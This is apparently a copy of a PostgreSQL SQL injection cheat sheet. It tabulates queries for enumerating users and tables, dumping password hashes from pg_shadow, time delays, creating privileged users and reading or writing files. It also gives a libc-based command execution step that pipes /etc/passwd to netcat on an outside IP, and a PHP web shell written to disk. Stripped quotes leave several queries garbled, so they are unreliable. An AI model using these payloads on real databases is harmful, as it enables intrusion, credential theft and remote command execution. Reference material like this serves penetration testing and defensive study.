Some useful syntax reminders for SQL Injection into PostgreSQL databases...

This post is part of a series of SQL Injection Cheat Sheets. In this series, Ive endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that dont apply and also areas that I havent got round to researching yet.

The complete list of SQL Injection Cheat Sheets Im working is:

Im not planning to write one for MS Access, but theres a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with "-- priv" at the end of the query.

Version SELECT version()

Comments SELECT 1; --comment
SELECT /*comment*/1;

Current User SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

List Users SELECT usename FROM pg_user

List Password Hashes SELECT usename, passwd FROM pg_shadow -- priv

Password Cracker MDCrack can crack PostgreSQLs MD5-based passwords.

List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE

Current Database SELECT current_database()

List Databases SELECT datname FROM pg_database

List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=r) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE public)

List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (r,) AND n.nspname NOT IN (pg_catalog, pg_toast) AND pg_catalog.pg_table_is_visible(c.oid)

Find Tables From Column Name

If you want to list all the table names that contain a column LIKE %password%:

SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=r) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE public) AND attname LIKE %password%;

Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;

Select Nth Char SELECT substr(abcd, 3, 1); -- returns c

Bitwise AND SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0

ASCII Value -> Char

SELECT chr(65);

Char -> ASCII Value SELECT ascii(A);

Casting SELECT CAST(1 as varchar);
SELECT CAST(1 as int);

String Concatenation SELECT A || B; -- returnsAB

If Statement

IF statements only seem valid inside functions, so arent much use for SQL injection. See CASE statement instead.

Case Statement SELECT CASE WHEN (1=1) THEN A ELSE B END; -- returns A

Avoiding Quotes SELECT CHR(65)||CHR(66); -- returns AB

Time Delay

SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS /lib/libc.so.6,

sleep language C STRICT; SELECT sleep(10); --priv, create your own sleep function.

Taken from here .

Make DNS Requests

Generally not possible in postgres. However if contrib/dblink is installed (it isnt by default)

it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink(host=put.your.hostname.here user=someuser dbname=somedb, SELECT version()) RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".

Command Execution

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS /lib/libc.so.6, system LANGUAGE C STRICT; -- priv

SELECT system(cat /etc/passwd | nc 10.0.0.1 8080); -- priv, commands run as postgres/pgsql OS-level user

Local File Access

CREATE TABLE mydata(t text);
COPY mydata FROM /etc/passwd; -- priv, can read files which are readable by postgres OS-level user
... UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
... UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (<? pasthru($_GET[cmd]); ?>);
COPY mytable (mycol) TO /tmp/test.php; --priv, write files as postgres OS-level user.

Generally you wont be able to write to the web root, but its always work a try.
-- priv user can also read/write files by mapping libc functions

Hostname, IP Address SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)

Create Users CREATE USER test1 PASSWORD pass1; -- priv
CREATE USER test1 PASSWORD pass1 CREATEUSER; -- priv, grant some privs at the same time

Drop Users DROP USER test1; -- priv

Make User DBA ALTER USER test1 CREATEUSER CREATEDB; -- priv

Location of DB files SELECT current_setting(data_directory); -- priv
SELECT current_setting(hba_file); -- priv

Default/System Databases template0
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